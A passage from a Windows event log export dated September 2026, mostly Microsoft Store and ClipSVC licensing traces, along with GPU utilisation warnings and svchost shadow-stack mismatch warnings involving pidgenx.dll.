ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:57:50.532\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:50.533\t100\tClipSVC service is starting.  Caller: TriggerStarted\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:50.535\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:50.545\t8001\t\"Considering License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.545\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.545\t8001\t\"Accepting key with License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for Content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.545\t8001\t\"Returning key document for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.545\t8001\t\"Getting lease for 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8001\t\"Adding lease {941FBCC0-EC32-D9CB-EB46-FC3AE38EC79B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8001\t\"Returning 1 lease documents for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8001\t\"lease = 0x831abdd8, usage = 268435456, policy = 1, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.547\t8011\t0x21f831d3840: 13532: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"lease = 0x831abdd8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Lease Machine: 0000021F8312B800: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Set results for lease = 0x831abdd8, policy = 1, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831abdd8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8012\t0x21f831d3840: 13532: Key:NegotiatingUnleased Change: Key:Valid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8011\t0x21f831d3840: 13532: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8011\t0x21f8312b820: 8012: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8012\t0x21f8312b820: 8012: Lease:Initial Change: Lease:Valid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.554\t8001\t\"ReactiveLicensingResult: 0x00000000 for A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6, 94ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.555\t8001\t\"Updating lease timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9} to expire @ 2026-09-05T02:37:58Z (jitter was 40.129745 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.555\t8001\t\"Added timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.555\t8011\t0x21f8312b820: 8012: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8c7243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdb240, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8bfda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdbf00, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8c90c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdbf09, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8c06ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdbf28, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.558\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 13796) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffb9b8b89fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x152a2fdbf20, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:57:50.568\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:50.568\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:50.705\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:57:50.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:51.078\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:51.214\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:51.214\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:51.222\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.222\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.222\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.222\t8001\t\"0000021F831D31E0: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.222\t8011\t0x21f83133e68: 8012: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.223\t8011\t0x21f831d3200: 8012: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.223\t8001\t\"0000021F831D31E0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.223\t8012\t0x21f831d3200: 8012: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.225\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"lease = 0x831ab8c8, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"lease = 0x831ab8c8, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.230\t8011\t0x21f831d3200: 8012: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"lease = 0x831ab8c8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Lease Machine: 0000021F8312A800: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Set results for lease = 0x831ab8c8, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp 